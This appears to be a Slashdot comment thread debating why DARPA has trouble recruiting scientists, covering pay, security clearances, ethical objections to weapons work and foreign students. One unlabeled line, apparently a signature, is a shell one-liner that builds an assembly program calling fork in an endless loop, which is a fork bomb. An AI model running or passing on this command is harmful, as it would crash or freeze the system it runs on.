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Why Are the Best and Brightest Not Flooding DARPA?
David W. White writes "Wired mag's Danger Room carried an article today that highlighted how desperate the US Military's DARPA has become in its attempts to bring in additional brain power. The tactics include filmed testimonials, folders and even playing cards all screaming join DARPA! Where are all the Einsteins who want to be on the cutting edge for the Government?"
I assume they're worried that they'll be the tragic victims of mysterious heart attacks.
intelligent and well educated people don't want to work for an organization that supports torture and oppression?
Even ignoring the hyperbole, maybe they don't want to work for a group who's expressed purpose is to kill people.
Yes, it's a government job, and the government gives pretty good benefits, but why work as a civil servant when you could get a higher-paying job in private industry doing work under contract for DARPA?
1) It's getting harder to believe we're the good guys.
2) The increasing view of government agencies as mismanaged and incapable (and the fact that we somewhat consistently elect candidates that loudly proclaim this outcome as immutable and inevitable), and public sector/military work as a refuge for the bureaucratic and dull.
3) Business politics are marginally easier to put up with than ideological politics and graft.
4) The private sector pays as well or better, and you probably don't have to relocate.
4a) Fewer of the best and brightest don't choose technology/research, because it's quite clear our society values lawyers and management more.
Tweet, tweet.
Who wouldn't be tripping over themselves trying to get a job with low pay, be saddled bureaucracy, receive no public recognition, have to pass periodic drug, credit and background checks for security clearance, get crappy benefits and with no stock options.
Sounds like a dream job.
Well, of course, DARPA doesn't do research. DARPA manages contracts with other organizations that do research.
The Einsteins most likely want to be in the organizations that actually do the research.
http://www.geoffreylandis.com
We are all getting paid much better in the private sector.
Playing along with the "other country" theme, if you step into a graduate engineering department, you're likely to find a majority of non U.S. citizens comprising the graduate student workforce. These people are also ineligible for most U.S. Govt. fellowships and jobs that require a decent level of security clearance. Thus, DARPA might be having a tough time recruiting top-notch talent because most of the talent is ineligible to work for DARPA.
An old-timer with old-timey ideas.
As far as I can tell, from the article, it's DARPA lacking program managers that is the issue. A DARPA program manager allocates money, directs research within a program and decides if a particular group in the program is performing up to scratch. Sure, you have to be pretty well up on the state of the art in a fairly broad range of areas to succeed in doing this but, at the end of the day, you aren't actually doing any research. Working for DARPA is the scientific equivalent of middle management. Who gets into research to do that? This impression is gathered from the giant sample set of one DARPA program manager I've have the pleasure of working with, so I may have a skewed view on the whole operation.
Security Clearance.
We're rejecting and canning people because of even the most minor and often ancient of unrelated and innocuous financial transgressions and social relations -- even for the most insignificant of positions in government, contractors and even subcontractors thereof.
It's asinine. There are senators and congressmen with worse records and credit than contractors denied clearance to mop their floors.
The process is so intrusive and debasing that many people take one look at the paperwork and simply walk away.
Even ignoring the hyperbole, maybe they don't want to work for a group who's expressed purpose is to kill people.
This is nonsense, of course. In the past, plenty of highly intelligent people have contributed to warfare and advanced weaponry. Leornardo da Vinci comes to mind. The problem is has to do with what Thomas Kuhn wrote about in "The Structure of Scientific Revolution". DARPA relies on a filtering mechanism that employs academics. Academics are not open to new ideas that may upset their world view. New Einsteins would do just that, disrupt their world view. They therefore tend to avoid organizations like DARPA and prefer to go it alone. Eventually, new paradigms are accepted and science experiences a seismic explosion of creativity. DARPA would do well to encourage disruptive ideas but, given that the old guard is in charge, I am not holding my breath. We might have to wait for them to die off, as Max Planck once suggested.
It's not that I want to get paid better. I actually care almost nothing about that.
I just won't make weapons. And sorry AC, no salary would make me change my mind.
Please, flame on all, and tell me how many useful technologies are spun off from DARPA research everyday. And, come to think of it, how many weapons are created out of 'off-label' uses of otherwise innocuous. I guess, for me, it's principle.
I wonder if studies exist of correlations between higher education and pacifism...
[/sarcasm]
A colleague of mine got $50 million from DARPA to do something...less than feasible. His institution put up a new building with it, which is the norm.
"I zero-index my hamsters" - Willtor (147206)
You think you are intelligent. (Everybody does)
You think that people that agree with you are also intelligent. (Everybody does) That's pretty much the underpinning for every Internet flame war ever.
Yes, but the perceived moral superiority of one's state has a lot to do with people's willingness to support it. I would most happily have applied my talents to supporting US military technology efforts during WWII or even the cold war, when the US really did appear to be under existential threat.
But in today's world, it looks to many of us more like our government has been picking wars they wanted to have and seeking justification afterwards
Recent US military antics have leveraged the population's fear of from an attack that killed 3000 people to initiate a war with an unrelated country that has now resulted in the death of nearly a million people
I know there are people who feel differently than I about these events - but many also feel the same or similarly. I am no pacifist, but I feel like my current government uses kindergarten logic internationally in ways that cost millions of human lives.
That alone is plenty to keep me out of DARPA, and I suspect it is for many others as well.
If there were a real external threat, I'd be supporting my nation's efforts to fight it as would any other good patriot. Right now, the greatest threat is from within.
I stole this sig from someone cleverer than me.
I'm gonna go ahead and say that discrimination based on, you know, race is a better example of "racism". Discrimination based on national origin is called "nationalism". Note the common root words in both cases. Actually it's not even that. I'm not a US citizen and hence I don't have a right to be in the US. The US isn't being racist if it decides not to let me in. Just like China or Japan, or Chad wouldn't be racist in deciding not to let me in. I'm not from those countries and so I don't have a right to go to them.
If a US employer decides to hire someone from the US instead of me, that's also not racist. Maybe they want to avoid all the paperwork and expense of getting me a work permit. Or maybe they want to hire someone that can come in for an interview on short notice. No one would say that a California company was being regionalist in deciding to hire a local rather than someone from New York.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
That's too bad because an anti-Turing revolution is precisely what is going to happen to computer science. The time is ripe for a revolution.
Science welcomes such things, if in fact they pan out. And yes, they can suffer from opposition at first, but in the end results are what count, and starting a revolution is a good way to get your name in the history books. That's why we know the name Einstein, because overturned what you would call "orthodoxy", but I'd call a result that had survived any practical experimentation for centuries.
Turing is basically the same as Newton in this situation. If you can disprove his theorems, or build a machine that operates under less restrictive assumptions, then get to it and make a name for yourself. The closest we've come even in theory is the quantum computer, which differs from Turing's machine in only some ways, not all. Practically there's been tremendous progress but it's still in it's infancy. This could be the very revolution you're saying is needed but not happening, even though it is happening as fast as the people working on it can do it, because it means their names may be remembered just like Turing's is.
Saying science is like a religion, where nobody dares challenge the "orthodoxy", and there's a disincentive to upturning conventional thought, is freaking ludicrous claim in light of the facts.
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